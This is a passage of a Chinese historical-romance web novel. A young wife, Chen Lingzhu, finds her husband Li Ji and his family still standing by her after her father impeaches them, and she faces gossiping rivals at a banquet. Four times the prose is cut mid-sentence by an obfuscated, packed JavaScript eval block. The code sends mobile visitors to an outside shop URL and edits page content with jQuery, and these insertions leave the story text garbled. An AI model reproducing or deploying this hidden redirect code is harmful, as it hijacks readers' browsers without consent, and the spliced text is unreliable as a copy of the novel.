陈灵珠长得美这件事情,连李照芙也无法辩驳,她一噎,只好道:“我二哥是贪图美色的人吗?他要是只看外表,早娶了八百回亲了,哪至于到现在才来娶这个女人。我都替他亏死了,多少美貌又贤惠的世家贵女没娶,娶了这么个娘家弃子。我听杨绾柔说,这陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751522|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二在家里一点地位都没有,不仅她爹,连她娘也不把她放在眼里,可见这人平时有多不招人喜欢……” 冬香心里默默道:“爹娘都不疼爱,少夫人好可怜。” 但李照芙正在气头上,她不敢说。只劝道:“姑娘,别生气了,世子定会处理好的。” 李照芙一想也是,都这样了,二哥这回总不能还偏帮陈灵珠。 ...... 这才得了消息,就已经接二连三有人找茬了,紫苏、茯苓两个丫鬟不免有些垂头丧气,这好日子还没过两天,就又回到了从前,甚至比从前还坏,这可怎么办呢。 但看少夫人,倒是没事人儿一般。 回了梅林上筑,她先是选了一个青花花卉细颈瓶,将摘回来的花儿小心剪了插到花瓶里,细细地欣赏了一会儿,才让紫苏拿到矮几上。 然后,她吩咐摆膳,认认真真地吃完了。 紫苏想说什么,姜嬷嬷拉住了她,小声道:“别打扰少夫人用膳。” 用了饭,陈灵珠带着两个丫鬟去了永宁街。 总的来说,她的行为与平常没什么区别,就好像什么事情也没发生过,但姜嬷嬷和两个丫鬟知道她心里并非毫无波澜,可她们也做不了什么,只能默默地陪在她身边。 陈灵珠漫无目的地闲逛,行到金玉阁门口时,看到她的母亲陈夫人带着陈灵瑛和杨绾柔,正笑容满面地从里面出来。 三人身后的丫鬟手上都拿着东西,显是满载而归。 三人原本有说有笑,见了陈灵珠,都停了下来。 到底是在这样的情形下遇到了陈灵珠,陈夫人脸上闪过一丝尴尬,“珠儿……” 陈灵瑛不以为意地笑,杨绾柔则用挑衅的目光看向陈灵珠,微微勾了勾下巴。 那日李济护着她又如何,如今出了这样的事,她就不信,李济还能如此! 想到李济那日为了陈灵珠训斥自己,杨绾柔心里就忍不住又妒又恨。 什么内子,她倒想看看,如今被“内子”的亲爹弹劾,李济还愿不愿认这个“内子”! 她得意地露出一个冷笑,这个人也真是惨,非但亲爹不管她,李济不认她,就连她的亲生母亲杜氏,也是一点儿没担心她在镇国公府的处境,不仅不曾派人上门关心,还欢欢喜喜地带着陈灵瑛,还有自己这个“侄女儿”出来选首饰。 几人都站着不动,紫苏和茯苓心里暗暗叫苦,少夫人本就心情不佳,怎么偏偏还被她遇上了这几个灾星,还是这样的场面! 大姑娘她们是不指望,可陈家的老爷和夫人实在太过分了!一个根本不在意女儿的死活弹劾女婿就罢了,另一个不担心、不过问也算了,但她怎能高高兴兴地带着大姑娘还有杨姑娘出来玩乐、买衣裳首饰? 这叫少夫人心里怎么想? 紫苏担忧地望向陈灵珠,拉了拉她的衣袖:“少夫人……” 陈灵珠什么也没说,淡淡地扫了对面的几人一眼,转身走了。 36. 第 36 章 金玉阁门前的一切都落入了李济的眼中。 此时,李济赴两个朋友的约,见面的地点就在金玉阁斜对面。 李济有两个一起长大的朋友,一个叫顾言,字不语,是刑部侍郎顾谓之子,一个叫张现,字隐之,是忠勇侯张勇之子。他们二人今日邀他喝酒。 他到了聚香楼二楼的厢房时,顾言和张现都已先到了。 “济之,”张现见了他,大步走来攀住他的肩膀:“咱们兄弟好久不曾喝酒了。这一顿是补祝你死里逃生。你小子如此大难不死,定有大福气在后头。” 顾言也过来攀住他的肩膀。 他们早就想邀李济出来喝一顿了,却因种种事情拖延至今。 三人行至摆在窗边的酒案,一边看窗外的风景和行人,一边喝酒。 都是大男人,话不必多说,三人坐下来便碰了一杯。 觥筹交错,难免说些朝堂和生活中的事。 李济近日经历的最多,先是差点伤重身亡,后是娶了据说是草包的陈二姑娘,紧接着又被岳父弹劾。 顾言、张现二人不好说李济的后宅之事,但话题无论如何绕不开陈进。 顾言忍不住道:“陈进到底是什么意思?以前就算了,现在他可是你的岳父,怎么还追着你和伯父不放?” 张现问他:“济之,你打算怎么办?” 这话是问,他打算拿陈进的女儿怎么办。 坊间传闻,镇国公府世子夫人处境不妙,李世子已经准备将她赶出镇国公府。还有赌场趁机做生意,开了盘口让人押注李济到底会不会休妻或者与陈家的女儿和离。 两人是皇帝赐婚,按说是轻易分不开的,但镇国公府既然是镇国公府,自然有他们的办法。 李济轻轻一笑道:“不是什么大事。” 顾言道:“济之,论心胸我是真不及你。” 李济笑了笑,低头闲闲地将手中的杯子一转。 他从来都不是什么大度之人,相反,他有仇必报。 顾言道:“只要陛下相信镇国公府,其他人怎么弹劾都没用。” 张现看了看李济,没说话。 “好了,不说这个了。”李济淡淡笑了笑,问顾言:“听说你要订亲了?” 顾言点头,“拗不过老太太。” 顾言幼年失恃,是由祖母养大的。 他年纪不小了,迟迟拖着不愿成亲,他的祖母自是不肯。 张现道:“不语,成亲也没什么不好,若运气够好,能够夫妻相得,便如同时娶了个朋友、兄弟、知己、亲人,夫妇之间,并非只有床.笫之欢。” 张现与妻子傅映瑶感情好,所以有此感言。 顾言瞥李济一眼,仰脖喝了一杯:“若运气不够好呢。” 李济:“……” 他刚想说话,余光却瞥到一个熟悉的身影。 顾不上反驳顾言,他略略转身,将目光投向了那道身影。 她带着丫鬟与另外三个女子金玉阁门前面对面站着。 这三个女子,其中一个是他上次见过的安平伯的女儿,另一个是陈夫人,还有一个,大概就是陈进的长女了。 这三人的背后站着几个丫鬟,手上都捧着东西。 这样的情景是什么意思,有眼睛的人都看得出来。 察觉到他的神色变化,顾言循着他的视线望去,看到一个佳妙无双的丽人正侧对着他们这个窗口。 丽人十五六岁的模样,窄衫长裙,臂挽披帛,青丝梳成小盘髻,斜斜插了一支珍珠流苏钗,除此之外别无他物。 衣衫首饰都是女子常见的打扮,不算华丽,以如今的风气来说甚至称得上简单,但她站在几个美貌女子中间,第一眼便让人看到了她。 风儿吹着她的披帛,飘飘若天上的仙子。 只是那小仙子虽然脸色无甚波澜,周身却有一股淡淡的忧伤,让人看了颇觉不忍,忍不住猜测她是否受了莫大的委屈。 顾言看了一会儿,回头一看李济眼睛眨也不眨,暗暗纳罕。李济对女子向来目不斜视,他难得见他对一个女子露出这样感兴趣的模样,不禁调侃道:“济之,你可是看上了这个小仙子?” 张现本来低头喝酒,听了顾言的话,也抬眼望向窗外。 好一个花容玉貌的小姑娘。 二人都看着李济,没想到李济道:“别胡说,那便是你们口中陈家的女儿。” 顾言和张现闻言都吃惊地张大了嘴,都说陈二姑娘是草包且心思歹毒,他们在心里早把她想象成了母夜叉,没想到是这样一个貌美无匹的佳人。 陈灵珠与母亲等三人分开,神色闷闷地自顾自地往前走。走着走着,她停住脚步,自嘲地一笑。 他们一贯如此,她不吃惊,也不准自己难过。 从永宁街回来后,陈灵珠就去厨房揉面了,跟奶娘等人说下一顿她自己来做。 她心里有事便会如此,姜嬷嬷、紫苏、茯苓担忧地面面相觑。 紫苏自责道:“都怪我,早知道会遇到她们,我就劝少夫人去绸缎庄了……” 茯苓道:“我也有错……” 姜嬷嬷叹了口气,知道怪不了这两个小丫头。 就是她自己,眼下又能做什么呢,她只能希望镇国公府的主子们能大度一点,不要把账算到她无辜的姑娘身上。 但尽管她们频频望向梅林上筑的月亮门,却始终没有看到世子的身影,一直到她们睡下,世子都没有回到后院。 紫苏悄悄问茯苓:“世子会不会是恼了少夫人,所以连梅林上筑都不愿回来了?” 茯苓让她别瞎想,可是自己却担心得一夜翻来覆去地睡不着。 第二日,两个丫鬟顶着黑眼圈打开西院的门,却发现世子就站在庭院里,正指挥下仆安装秋千。 葡萄架已经没了,但李济让人在角落里装了铁柱,将秋千架起。 世子此举意味着什么,两个丫鬟虽然肿着眼睛,却也看得清清楚楚。 她们又惊又喜,忙将陈灵珠拉了起来道:“少夫人,快醒醒,院子里有好东西看!” 陈灵珠还没睡醒,睡眼朦胧地咕哝:“什么好东西?” 紫苏硬将她架到洗漱架前,将青盐塞到她手中,激动地催促道:“少夫人喜欢的东西。少夫人快些,看了就知道了。” 紫苏这丫头就是喜欢一惊一乍,陈灵珠还没完全睡醒,也没把她的话当真,迷迷糊糊地接过青盐,在紫苏的连声催促中慢悠悠地洗漱、梳妆完毕,打了个哈欠,这才漫不经心地往门外走。 一向稳重的茯苓早就守在门口,见了她也笑着催道:“少夫人快看!” 她不禁笑道:“什么好东西,让你们一个二个的都这么着急?” 茯苓笑道:“少夫人看了就知道了。” 陈灵珠这才迈出门槛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751523|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她展目一望,一眼就看到了秋千,还有秋千架旁站着的李济。 初升的旭日光辉照在他如玉的脸庞上,给他踱上了一层金色的光。 不知怎的,这个模样的他,让她想到了神话中的二郎神,那个英武不凡的神明。 “二郎神”对她笑了笑:“还不过来试试?” 陈灵珠玩了一会儿秋千,便与李济一起用了早膳。 食案撤去,李济道:“来一局?” 陈灵珠迟疑道:“世子今日没事吗?” 既然被弹劾,多少总有些事情要做的。 李济微微一笑道:“无妨,已经处理好了。” 既然他说没问题,陈灵珠便让丫鬟摆上棋枰。 依然是陈灵珠执白子,李济执黑子。 两人摆好座子,李济笑道:“来让我看看你可有进步。” “世子,”落下一颗棋子,陈灵珠试探着问道:“你……不介意吗?” 她之所以要问这一句,是因为如果李济不计较,她承他的情,可若李济心里有了疙瘩,那她也不想委曲求全,低声下气。 何况,她根本不知道她的父亲以后还会不会再一次弹劾镇国公府,也许这一次仅仅是个开始。 若这一次她感恩戴德、低三下四地留下,以后呢? 每一次都这样惭愧不已,然后头越来越低吗? 这不是她要过的日子。若是非这样不可,她宁愿求去。 她可以受苦,却不愿受气。 当然,李济今日的所作所为已经说明了一切,但她还是忍不住想与他确认清楚。 李济乜她一眼:“介意什么?我早说了,你是镇国府的人,镇国公府的人为何要为别人家的事负责?我又为何要为别人的事怪你?” 这话说得敞亮,可是前一段日子他躲着她,又是为何? “前些时日,世子为何……” 她顿了顿,没有问下去。其实李济故意躲着她,只是她的一个猜测罢了,并没有实质的证据,李济更是从来没有承认过。 果然李济道:“前些时日?前些时日怎么了?” 他的疑惑不似作伪,陈灵珠看了他一会儿摇摇头道:“没什么,也许是我多想了。” 李济义正词严道:“以后别胡思乱想。”心里却偷偷有些发虚。 陈进弹劾他和父亲,他并不惊讶,以陈进的性子,轻易放过他才奇怪。 他也没有把它当成一件大事,处理这样的事情,他驾轻就熟。 只是,陈进这样做,确实会对府里的这个小姑娘产生一点影响。 他确实也曾想过借着这个由头,与她继续疏远。 只是不巧,昨日,他恰好看到了她与她的母亲、姐姐、杨绾柔分开后的那个自嘲的笑。 那个笑容惨淡无比,任谁见了,都要为她心酸。 他从未见过这样的陈灵珠。他总以为,这个小女子是个没心肝的,什么时候都欢欢喜喜,什么事情都浑不在意。 却忘了,她只是个十五岁的小姑娘。 一个刚刚及笄的小姑娘,李照芙还在母亲怀里撒娇,而她已经被迫嫁给了他,成为上位之人的一颗棋子。一颗对自己的处境还浑然未觉的懵懂棋子。 她本就是被父母舍弃之人,在镇国公府又孤苦无依,若他也故意冷落她,疏远她,她还能依靠谁呢? 他终究还是动了恻隐之心。 37. 第 37 章 陈灵珠又问:“世子,祖母和母亲她们……对这件事,是怎么看的?” 李济不介意很好,可是府里有几个人的看法也很重要。 尤其是太夫人。 对于此事,她到底是有些忐忑的,所以昨日,她并没有往太夫人的院子去,怕看到太夫人变了的脸。仿佛不去,看不到,太夫人就不会怪她。 “他们的看法跟我一样,你不必多想。” 昨日,李济与张现、顾言喝酒喝到一半,下属吴骏禀说郑文淑到了京城,他便与两个兄弟道别,去见了郑文淑。 郑文淑风尘仆仆,但看着精神还不错,如从前一般爽朗。 郑文淑说,李济会遇刺与她有关,所谓我不杀伯仁伯仁却因我而死,她心里愧对李济,愿意供他差遣,以还此债。 李济心里从来没有怪过师姐,是他自己不够警惕,与她何干?反而郑文淑遭此无妄之灾,分明是因他而起。 但他没有拒绝师姐。师姐这样的江湖儿女,有仇必报,有恩必还。对方利用她算计他,他们二人还差点都死了,如果不让她报了此仇,这比杀了她还让她难受。何况他的师姐武功高强,得她一臂之力,他的事情能顺利些。 与郑文淑细细商议好计划后,他才回到了镇国公府。 本想回梅林上筑看陈灵珠睡下与否的,但祖母院子的下人说,太夫人让他回来后去松鹤院见她。他只好先折去了太夫人的院子。 与祖母问安后他道:“这么晚了,祖母找孙儿来,可是有事?” 此时已是子时中,若无要事,祖母不可能这个时辰让他过来。 太夫人道:“祖母是想问你,你打算如何处理陈灵珠?” 李济吃了一惊,祖母这个问法,难道是因陈进弹劾一事对陈灵珠有了意见? 他望向祖母,见她面无笑容,眉头紧蹙,嘴角微抿,似乎不太高兴。 他自问对祖母有几分了解,知道她不是心胸狭隘、落井下石的人,可是她这样的神情、语气和措辞,很难让他不多想。 他的心往下沉,若是祖母也因此而对她有了意见,事情就有些难办了。 沉默了一会儿,他道:“祖母,她既然嫁进镇国公府,就是咱们镇国公府的人,陈进弹劾的事情与她无关,若因陈进的事情便怪罪于她,孙儿觉得对她并不公平。” 太夫人依然皱着眉头冷声道:“这么说,你不想休了她?也不想将她赶出去?” 李济摇头,坚定道:“祖母,孙儿并无此意。” “将她扔到一个角落,或者将她赶到一个偏远的庄子,让她自生自灭,眼不见为净呢?” 李济依然坚定地摇头。 太夫人盯了他半晌,将他的神情变化都看在眼里,然后突然变了脸色,露出一丝狡黠的笑模样,点头道:“你能这么想,祖母很是欣慰。” 又笑道:“我就说我的孙儿不是那等小鸡肚肠的人。” 李济:“……” 祖母这个老顽皮,就爱捉弄他,难怪与那小姑娘那么投契。 原来她是在考验他呢,差点把他吓一跳。 捉弄过了李济,太夫人正了正脸色,认真道:“灵珠虽然是陈家的女儿,可她如今,更是咱们李家的媳妇。” “济儿,”太夫人继续道:“别的事,祖母不需要替你操心,你是个聪明懂事的好孩子,样样都能处理得很好。所以朝中、军中之事,祖母从未问过你半句。可是感情的事,祖母怕你不懂,一时不慎伤了灵珠的心。人心是很脆弱的,一旦伤了,就很难修补了。灵珠那孩子,你别看她整日嘻嘻哈哈的,其实心思细腻,心思比旁人更百转千回。” “今日祖母特地叫你过来,是想提醒你,千万莫因一时冲动做下不可挽回的憾事。” 李济微笑道:“孙儿知道了,谢祖母提醒。” 太夫人又道:“你母亲那里你也不必担心,她已经跟祖母说过了,她不会怪灵珠的。” 闻言,李济着实松了一口气。 他本来最担心他的祖母和母亲因陈进而迁怒陈灵珠,如今两位长辈都没有这种想法, 问题就解决了。 听闻太夫人和镇国公夫人都不怪她,陈灵珠放下了心。 虽然不得父母的疼爱,但她在镇国公府能遇到这样明理的长辈,何尝不是一种幸运呢。 她眨眨眼,将泪意眨去,笑道:“那我给祖母和母亲请安去。” 说完不待李济反应便跑了出去。 “嬷嬷、茯苓、紫苏!”她出去后低声跟她的奶娘和丫鬟说话,但李济耳聪目明,将她的话听了个一清二楚,“不用去庄子了,过些时日咱们去赌场兑咱们的银子!咱们要发财了!” 李济:“……” 敢情她还去赌坊下了注?那种时候她还有心思去下注? 李济心情一时有些复杂,不知道该说她没心没肺,还是赚钱有方。 不过,想到她押注的是什么,他不自觉地笑了。 算她不笨。 可是李济不知道,其实陈灵珠同时在另一间赌坊也押了他会选择与她和离,而且数额还押得更多。 不过两者的赔率不同,她仔细算过,以她下注的数额,无论他怎么选择,她都能赚一笔钱。 昨日她难过归难过,但她心里清楚,她应当为以后作打算。李济等人没有迁怒,她不用离开镇国公府是最好,但如果一定要离开,她必须要有足够多的银子养活自己和奶娘他们。所以她要趁着这次机会赚一笔钱,这样就算离开,至少她还有钱能保障以后的生活。 去请安回来以后,陈灵珠继续与李济下未完的棋,因为心情畅快,她大杀四方,终于赢了李济一回。 她难免有些得意洋洋,彩头事小,争口气事大。 虽然李济定下的期限是半年,但这也马上三个月了,若是她还不能赢一回,她这面子上也过不去。 李济看她这骄傲自得的样子,好笑道:“你要什么,尽管开口。只要我能做到,绝不推拒。” 但陈灵珠没想好自己要什么。她一直认为,李济能做到的不用她提,不能做到的提了也没用。她向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751524|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来不愿强人所难。 不过这彩头说不定以后能派上用场,她想了想笑道:“我还没想好,待我想好了再告诉世子。” 李济答应了,还说她想何时兑现就何时兑现。 陈进弹劾一事在镇国公府就算过去了,陈灵珠甚至还因祸得福,得到李济亲自安装的秋千,李照芙得知此事后,当即就跳了起来。 不休陈灵珠、不把她赶出去就算了,还亲自给她装秋千? 这是什么道理? 一个秋千事小,放在平时这根本不算什么,可是在现下这种情形,装秋千意味着什么,大家心里都很清楚。 李照芙咬碎了银牙,她二哥这是失了心疯了,陈灵珠的父亲这样对他,他怎么就不生气呢? 她想冲到梅林上筑去质问李济,可是被她的丫鬟冬香拉了下来,劝她道:“姑娘,世子这么做自有他的道理,姑娘何必定要去管呢。姑娘不喜欢少夫人,以后远着点就是了。” 李照芙瞪她一眼,“连你也觉得我多事?” 冬香吓一跳,忙道:“婢子不敢,婢子是怕姑娘管了世子会生气,到时候姑娘又该受苦了。” 这话提醒了李照芙,她的二哥近日变得好陌生,已经不是原来的那个二哥了,至今似乎还在隐隐作痛的膝盖更是提醒她这一点。 可二哥糊涂,娘不会也这样糊涂,她转身便去找镇国公夫人,恰好遇到镇国公夫人正与她的二婶娘王氏说话。 只听得她母亲跟二婶娘道:“这世道女子本就艰难,娘家有点事就要打要杀,要休要离的,二弟妹,如果我没有记错,前几年你爹被贬,你娘家差点全部流放,按你这么说,二弟当时是不是也该休了你?” 王氏:“……” 李照芙:“……” 王氏没想到镇国公夫人不留情面至此,直接就提她娘家被贬的事,脸色一阵红一阵白,不高兴道:“大嫂,这怎么一样,我娘家是被贬,可……可我娘家没害镇国公府啊,再说我当时已经生儿育女,跟那刚嫁进来的怎么比……” 镇国公夫人道:“确实不一样,她是陛下赐婚,咱们等闲休不了她。” 王氏:“……” 李照芙:“……” 王氏冷笑道:“我是比不了大嫂的心胸,只是像我们知道的,自然说大嫂、济儿你们大度,不知道的,还当镇国公府好欺负呢。” 镇国公夫人瞥她一眼,“二弟妹,你若是有空,就多管管儿女罢,与自己无关的事,还是少管为好。” 王氏:“……” 二夫人无话可说了,镇国公夫人看向门口的女儿,柔声问:“芙儿,你找娘有事?” 李照芙:“……” 现下没有了。 看着女儿的模样,镇国公夫人在心里叹了口气。 她知道女儿在想什么,也知道她气势汹汹地过来是准备做什么的,但她虽疼女儿,却不能由着她的性子闹。 何况陈进这样做,反而让她有些怜惜陈灵珠。 说到底,那也只是个可怜的姑娘罢了。 38. 第 38 章 陈灵珠带着两个丫鬟去了怀远伯府。 昨日她去给太夫人请安的时候,太夫人待她一切如常,仿佛什么事也没发生过。 “灵珠,”太夫人道:“怀远伯府有个赏花宴,听说有些少见的花,你去看看罢?” 她的孙媳妇,也该出去露露脸了。 陈灵珠答应下来,次日便带着几个丫鬟婆子出发前往怀远伯府。 陈灵珠未到时,怀远伯府已有一些年轻的女客先到了,三三两两聚在一起闲聊。 “哎,你们听说陈大人弹劾镇国公父子了吗?”怀远伯府三少夫人的娘家嫂子蒋秀如问。 客人之一,素来与杨绾柔交好的王亭兰冷笑:“这事儿谁人不知,可怜李世子这么一个神仙般的人物,竟娶了这么个女人。也难为她,费劲心思嫁过去。不过抢来的终归不是自己的,看看,连她爹都没给她面子。” 周文静道:“你们说,镇国公府会把她休了吗?” 蒋秀如:“这事儿真不好说,也不知道她这婚,算御赐不算。就看镇国公府怎么想了,若是气不过,要休了她,也不是不可能。虽说有陛下这一层,可陛下对镇国公府好是出了名的……” 周文静:“这也不一定,陈家也是陛下舅家,陛下总不能厚此薄彼。” 王亭兰又冷哼一声:“那陈二不就是仗着这一层关系才做出如此下作的事?不过,就算李世子不休了她,她在镇国公府也好过不了,这样一个不择手段,连亲姐姐的丈夫也要抢的女人,镇国公府能看得上?就算之前勉强留着她,这次也不会就这么算了。真是,想到李世子娶了这么一个人,我都替他亏死了!” 蒋秀如笑道:“王亭兰,你替人家亏什么?” 王亭兰脸一红,嘴硬道:“我打抱不平两句罢了!” 有人看到杨绾柔在场,知道她是陈灵珠的亲戚,问她:“杨姑娘,这些事情的内情你知道吗?你觉得李世子会休了她吗?” 杨绾柔觉得会。就算不休,两人也必然离心。昨日陈灵珠失魂落魄的神色,更印证了这一点。 李济再大方,当真能对老丈人弹劾自己毫无芥蒂? 不可能。他的外祖父私下抱怨了父亲两句,被父亲知道了,父亲还跟母亲大闹了一场呢,何况弹劾这么大的事。 她等着陈灵珠被李济厌弃,等着陈灵珠落魄潦倒,到时候,她一定会投下最后一块石头,将那小贱人溺死! 她将幸灾乐祸的笑容掩下,蹙眉作担忧状:“我也不知道呢,说实话,我真替她担忧……” 正装模作样,忽然听到一阵喧闹之声。 举目望去,只见陈灵珠在怀远伯府的二少夫人梁芸的陪同下,面带笑容,珊珊而来。 杨绾柔不禁大吃一惊。 陈灵珠今日怎会出现在这里?她怎么敢出现在这里? 她瞪大了眼睛,攥紧了帕子,看着陈灵珠越走越近。 “各位,”怀远伯府的二少夫人梁芸给大家介绍道:“这是镇国公府的世子夫人。” 原本闹哄哄的花厅忽然安静了下来。 众人都难掩惊讶地望着陈灵珠。 陈灵珠跟着陈进外任两年有余,回京后又没在公开场合露过面,所以尽管她“抢亲”的事情传得沸沸扬扬,却很少有人见过长大后的她。 众人着实没想到,这个人们近来茶余饭后必谈及的人物竟来了。 而且笑意盈盈,神采飞扬,看起来没有半点憔悴和勉强。 陈灵珠朝除了杨绾柔以外的众人微笑致意,众人这才反应过来,上前自我介绍,与她说话。 都是交际场上的人,陈灵珠的出现意味着什么,已经不言而喻。 见众人围着陈灵珠,杨绾柔除了不敢相信,更生出一层恨意来。 这些势利小人!刚才还猜测陈灵珠会不会被休,如今见她来了,就跟苍蝇见了屎一样,一哄而上。 还有陈灵珠这小贱人,竟敢当众让她难堪,此仇,她一定要报。 杨绾柔恨得咬牙,她不信李济真的不在意,也不信镇国公府的太夫人、国公夫人等不介意,一定是陈灵珠故意出现在这里,故意让人误会镇国公府对她毫无芥蒂,故意让人以为她的地位稳固。 对,一定是这样! 想到这里,一股恶毒从心底生出,她故意大声对陈灵珠道:“阿珠妹妹,姑父弹劾李世子,没影响到你罢?” 她就是要揭穿她,把她最不堪的一面暴露在众人面前! 看她还怎么装! 看她还怎么笑! 看她还怎么跟这些人交朋友! 陈灵珠皱了皱眉,正要说话,紫苏进来了,笑道:“少夫人,世子也来了,让人捎话进来,说一会儿和您一起回去,让您记得等他。” 紫苏的声音不小,厅中所有人都能听到。 陈灵珠笑着答应了,然后淡淡地看了杨绾柔一眼,转开了脸,继续与其他人说话。 有紫苏这一番话,李济对陈灵珠是什么态度已经无需多言。 杨绾柔的脸顿时火辣辣地一阵阵生疼,仿佛被陈灵珠当着众人的面抽了好几个耳光子。 但她还是不肯相信,话是陈灵珠的丫鬟说的,未必不是陈灵珠与她那丫鬟串通起来,做戏给众人看。 她暗暗冷哼一声,她倒要看看,一会儿这小贱人怎么收场。 等看陈灵珠出丑等得心焦,好不容易等到赏花宴散,众人一起走出怀远伯府大门,紫苏大声道:“少夫人,看,世子在那儿呢!” 陈灵珠闻言望去,果然看到李济就站在离大门不远的地方,正与宁远伯及宁远伯世子等说话。 大概是听到了她们的声音,他回头,微微颔首,然后与宁远伯等人告辞,快步走了过来。 到了近前,他将陈灵珠打量一番,见她完好无损,神情看起来也颇愉悦,微笑道:“回去罢。” 陈灵珠跟着他走到马车旁,刚想借紫苏的手登上马车,他已将手伸了过来。 她挑了挑眉,李济也笑着挑了挑眉。 她明白他的意思了,展颜一笑,将手放在他的宽大手掌上,借力轻轻巧巧地上了车。 李济细心地将她的裙摆全部塞入车厢,这才关上了车门。 杨绾柔、王亭兰等人看见,脸都绿了,杨绾柔更是不敢相信自己的眼睛。 可是事实摆在眼前,由不得她不信。 她不由生出一股妒恨来,若不是陈灵珠这小贱人,她何至于完全断了嫁入镇国公府的路,失去了成为镇国公世子夫人的机会。李济这样大度的男子,无论谁成为他的妻子,都能得到他这样温柔的对待罢? 还有今日众人对陈灵珠的态度,她几时,才能成为这样众星拱月的人物呢。 这偌大京城,除了镇国公府,到底还有哪户人家能让她得偿所愿,尝一尝人上人的滋味? 李济是骑马而来,回程仍然骑马。 “世子,”走了一段路,陈灵珠闲着无聊,便打开车窗,问马上的李济:“你今日不是不得空么? 怎么来了?” 李济的脸色闪过一瞬间的不自然,而后道:“我今日出门,顺道经过怀远伯府。” 陈灵珠随口问:“你去哪儿顺路过来?” 李济顿了顿,过了一会儿才道:“明日你就知道了。” 明日?陈灵珠将下巴支在窗棱上看着他:“做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751525|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神神秘秘的,还要明日才告诉我?” 他笑了:“明日说才有意思。” 陈灵珠:“又故意卖关子。” 他笑道:“你说得对,我就是要卖个关子,反正我今日是不会告诉你的。” 见他是真的不会说了,陈灵珠咕哝一句“我也不是很想知道”,便放下了支窗。 无事可做,她闭上眼睛想假寐一会儿,马车却忽然一晃,随即听到车夫哎哟了一声。 她忙问怎么了,车夫道:“少夫人,马车轮子坏了。” 李济停下马,跳了下来,几步来到马车旁,打开车门道:“马车不稳,下来罢。” 陈灵珠就着他的手下了车,问车夫:“怎么坏了,能修好吗?” 车夫为难,“少夫人,地上有个大坑,马儿一下子没避开,陷进去了。眼下轮毂坏了,只怕要花点时间才能修好。” 李济走到后头看了看,车夫说得没错。他回过头对陈灵珠道:“不坐车了,走罢。” 陈灵珠:“……” 走?好歹给她们雇辆车罢?这里离镇国公府可不近呢,走到天黑都走不到。 李济看她的表情就知道她误会了,他抚额,这小女子,在她眼里,他是这样的人? “我们骑马回去。” “哦。” 原来是这个意思,陈灵珠尴尬地笑了笑。李济安排人给两个丫鬟雇车,然后自己先上了马,再伸手接陈灵珠,让她坐在身前。 与李济这样靠坐着,感觉有些奇怪,陈灵珠忽略心中的异样,扭头嘱咐两个丫鬟:“你们小心些。” 两个丫鬟笑道:“少夫人别担心我们,我们自己会看着办的。倒是少夫人,小心别从马上摔下来了。” 此话一出,陈灵珠觉得李济环着她腰的手都紧了些。 “走了。”他扯了扯缰绳,让马儿不紧不慢地往镇国公府方向去。 被他抱着多少有些尴尬,陈灵珠没话找话:“世子,今日你帮我长了脸。” 李济微笑,“哦,怎么长的?” “有些人觉得我在镇国公府日子不好过,你来了,一切谣言就都消了。” 仗着她在前面看不见,李济扬起唇角。 “不过,世子,你的风流债有点多啊。” 她知道李济受女子欢迎,但今日一见,才知她还是小瞧了他。 刚才在怀远伯府,多少姑娘小媳妇的目光飕飕往她身上刮啊,若是目光能杀人,此刻她已经是一具身中多刀的尸体。 李济垮下嘴角,风流债? “我何曾有过什么风流债?” 听出他的不满,陈灵珠想了想,改了措辞,“烂桃花。你的烂桃花真的很多。今日好几个姑娘和年轻的夫人,看我的眼神,就像想吃了我似的。我又没得罪她们,肯定是你惹的祸。” 李济本想说自己也没什么烂桃花,但一想,这话又有些说不出口,顿了顿,问她:“你生气了?” 陈灵珠哈哈笑:“我才不生气。看她们气得斗鸡眼似的但又无可奈何的样子,好像也挺好玩的。” 李济:“……” “别人觊觎你的丈夫你也不生气?” “别人觊觎我的丈夫有什么好生气的,是我的丈夫觊觎别人我才应当生气罢?” 李济:“……” 此话甚有道理,他竟无言以对。但他又抓住了另一个点,“你是说,若是我看上了别人,你会生气?” 